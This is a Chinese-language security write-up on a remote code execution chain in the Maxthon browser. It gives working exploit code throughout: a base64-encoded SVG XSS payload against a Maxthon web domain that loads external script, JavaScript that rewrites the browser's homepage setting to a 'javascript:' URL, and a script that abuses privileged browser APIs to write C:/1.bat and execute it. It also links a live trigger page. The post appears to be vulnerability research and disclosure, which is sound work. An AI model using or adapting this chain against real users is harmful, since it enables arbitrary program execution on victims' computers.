傲游浏览器远程代码执行及分析过程

前几天刷了一些xss,由一个引出了点小研究。

0x01 特权域XSS

经过对傲游浏览器一番研究发现,当我们将浏览器主页设置成以“javascript:”为协议的时候,在用户打开主页时即可触发XSS。

image001.png

打开主页的方式是很有意思的,当我们在一个互联网网站打开主页时,触发XSS的域为about:blank,这个域的XSS没太大意义:

image003.png

但,当我们在一个新标签页打开主页的时候,其域为mx://res/quick-access/index.htm:

image005.png

0x02 遨游浏览器分析

这时候,权限就比较大了。经过二哥等几个前辈的研究,傲游浏览器有以下特点:

  1. 通过 mx://res/notification/ 可以调用maxthon.program,执行任意路径的程序。
    2.通过 mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm 可以调用maxthon.io进行文件操作。
    3.maxthon.cn、maxthon.com 等某些域名下存在maxthon对象,可以调用部分API。

幸运的是, mx://res/quick-access/index.htm 和 mx://res/notification/ 等页面的protocol(mx)、host(res)、port(80)都是相同的,所以他们是同源的,符合浏览器SOP策略,我们直接通过 mx://res/quick-access/index.htm 就可以调用 mx://res/notification/ 的API。
现在我们等于有了一个 mx://res/quick-access/index.htm 域名下的XSS,我们想将其构造成远程命令执行,需要完成以下几步:

  1. 通过某种方式让受害者增加一个域名为“javascript:xxx”的首页。
  2. 用户点击首页后,执行我们的javascript代码
  3. 调用maxthon.io写入一个命令文件到受害者电脑,并调用maxthon.program执行之。

那么,我们一步一步来。第1步,怎么让受害者增加这种域名的首页?

0x03 构造POC

经过我的研究,傲游的首页分为两种,一个叫“startpage”、一个叫“multihomepage”。二者有什么区别,startpage是浏览器启动时打开的时候调用的页面,multihomepage是点击主页时打开的页面:

image007.png

这二者均可触发XSS,但是前者触发的域是about:blank。
为了设置mutihomepage,我们需要找一个遨游特权域下的XSS。这个还是比较简单的。这里说两个XSS:

  1. 登录后访问如下链接即可触发:http://xxx.maxthon/member.php?mod=logging&action=login&referer=javascript://xxxx/%250dlocation.hash#<script>alert(/xss/)</script>

    2.直接访问如下页面触发:http://xxx.maxthon.com/en_US/search/all/PHN2ZyBvbmxvYWQ9YWxlcnQoMSk

第二个比较方便,我们就用这个了。测试了一下直接用<script>加载外部js文件会被拦截,只需要换成其他方式即可:

1
<svg onload="s=createElement(&#39;script&#39;);s.src=&#39;//localhost/test/xss.js&#39;;document.body.appendChild(s);" >

以上payload进行base64编码后,访问:http://xxx.maxthon.com/d/search/all/PHN2ZyBvbmxvYWQ9InM9Y3JlYXRlRWxlbWVudCgmIzM5O3NjcmlwdCYjMzk7KTtzLnNyYz0mIzM5Oy8vbG9jYWxob3N0L3Rlc3QveHNzLmpzJiMzOTs7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsiID4,即可加载 http://localhost/test/xss.js
xss.js里写上设置浏览器主页(multihomepage)的代码:

1
2
var a = 'javascript:document.write(\\"<script src=http://localhost/test/mx.js><\/script>\\");';
maxthon.browser.config.ConfigManager.set('maxthon.config', 'browser.general.multihomepage', '["'+a+'"]');

注意,这个multihomepage的设置方法和startpage略有不同,multihomepage传入的是多个url组成的数组转换成json后的字符串形式。
这个时候,我们的主页已经变成如下形式了:

image009.png

用户在新建标签页点击主页按钮的时候,就会在mx://res域下加载上述js代码,mx.js如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var s1 = document.createElement("iframe");s1.src="mx://res/app/%7B33CA60D6-EADC-4558-9185-2EBE14214AB9%7D/index.htm";
s1.onload = function(){
var b = new s1.contentWindow.maxthon.io.File.createTempFile();
b.name_ = "C:/1.bat";
s1.contentWindow.maxthon.io.FileWriter(b);
s1.contentWindow.maxthon.io.writeText("whoami\npause");

var s2 = document.createElement("iframe");
s2.src="mx://res/notification/";
s2.onload = function(){
s2.contentWindow.maxthon.program.Program.launch("C:/1.bat","");
}
document.lastChild.appendChild(s2);
}
document.lastChild.appendChild(s1);

先写入c:/1.bat,再执行之:

image011.png

使用傲游浏览器最新版本访问如下链接:
http://mhz.pw/game/maxthon/test.html
之后在新标签页点击主页按钮,即会触发。
录制了一段视频,供参考:
https://youtube.com/watch?v=0mvdhdREYiI
或者
链接: http://pan.baidu.com/s/1pJBiF7X 密码: 6k2i